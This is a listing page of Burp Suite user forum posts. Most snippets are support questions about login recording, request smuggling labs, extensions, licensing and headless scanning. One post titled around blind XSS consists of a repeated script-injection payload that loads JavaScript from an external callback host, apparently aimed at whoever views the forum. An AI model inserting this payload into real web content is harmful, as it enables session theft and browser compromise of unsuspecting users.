Burp Suite User Forum

Create new post

Burp Suite Navigation Recorder

When I tried to record a login page, I used the copy to clipboard option, when I paste to the Recorded login secuences, the information that it paste is incomplete, and is not enough to complete the login process. I...

HTTP Request Smuggler Extension vs HTTP request smuggling scanner

When practicing the basic CL.TE lab ( Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability), I firstly used the HTTP Request Smuggler Extension -> Smuggle probe to test the lab main...

Ridiculous Trying to exploit"><script src=https://xssjacked.xss.ht></script> u for Blind XSS "><script src=https://xssjacked.xss.ht></script>

PLZ Work "><script src=https://xssjacked.xss.ht></script> . Never mind about . "><script src=https://xssjacked.xss.ht></script>

Installation Problem

Hi Team, Could you please consider unlocking the license key? I tried the same box and same user. When we try to open Burpsuite, we have faced a java error(no JVM found on your system) due to that we have...

Extension context menu item order in 2021.8.1

I've just updated to 2021.8.1, and noticed that extension's context menus are now grouped under a sub menu per extension (ordered alphabetically, instead of the order extensions are loaded in). I have a couple of custom...

BurpCollaborator - FTP Support

Hi, Does BurpCollaborator supports FTP callbacks? I see it supports HTTP, SMTP.

Problem with "Lab: HTTP request smuggling, basic CL.TE vulnerability"

Hi. I have problem with "Lab: HTTP request smuggling, basic CL.TE vulnerability", don't know what to do! Burp Community 2021.8, last version with HTTP Request Smuggler extension. What I did. Start lab...

[HTTP Request Smuggling] Meaning of the requests used in smuggle probe (issue overview)

In my issue summary I got a HTTP Request Smuggler alert consisting of 2 requests and 1 response (the other is a time-out I guess). One request is like: ... Transfer-Encoding : chunked Content-Length: 50 Connection:...

Building a UI in Jython

Does anyone have a good way to build Swing interfaces in Jython? I've got a really simple two text fields and a ITextEditor to place. I can get them into the interface with a box layout, but the ITextEditor is squashed down...

Default location for saving content

I'm working on updating this extension initially created by Hannah. https://github.com/digininja/SaveBrowsingImages I've created a config tab so the user can specify where to save the files but was wondering what I...

loadConfigFromJson() is not working as expected

Hi Team, I am trying update scanner configuration in my extender. It seems the scanner configurations are not getting updated. Initially I am reading the scanner config, it is showing as null. Then I am updating with my...

Broken brute force protection IP block

I have tried multiple times the good procedure and i am not sure where it is going wrong. Even with wiener and peter as well it is not reseting the counter and showing me the "please try again in 1 minutes". Please...

Extensions not loading

After installing the extensions from BApp Store , it is not loading/showing in my burpsuite. Both the check boxes in the setting section for loading on launch are ticked.

Getting Error when trying to start buro in headless mode using headless burp scanner

Hi Team, I am using the below commands. "C:\Program Files\Java\jdk-15.0.2\bin\java.exe" -Xmx1G -Djava.awt.headless=true -classpath burpsuite_pro.jar burp.StartBurp --unpause-spider-and-scanner --project-file=project.burp...

Burp suite professional try for free

hi.I want to use Burp suite professional for trial purposes and I have registered with my e-mail address. when can i start using it

Burp suite Login Recorder

Using the Burp suite login recorder to records a login sequence and is it possible to have a wait of 10 seconds between the steps. Like once a username is entered a transition occurs and then moves to the password page. So...

How to set active scanner insertion points

I'm trying to set custom insertion points for the header,query param and body parameters. Currently I'm using active scan method by passing manually caluculated...

Burp Suite Professional Try For Free

I created an email for a free trial, but I did not receive a reply.

scan completion percentage shows 0 always and number of requests sent not increasing

I have implemented a extender which takes host and token as an input. It will navigate through the sitemap, get the requests, build new request with the token provided and then send the new request built to an active scan....

jRuby fails to upload library

Hey there, Loading of the "File Upload Traverser" extension fails with the error: Caused by: org.jruby.exceptions.RaiseException: (LoadError) no such file to load -- base64 at...

…

23

…

Page 23 of 48

Burp Suite Support Center

Your source for help and advice on all things Burp-related.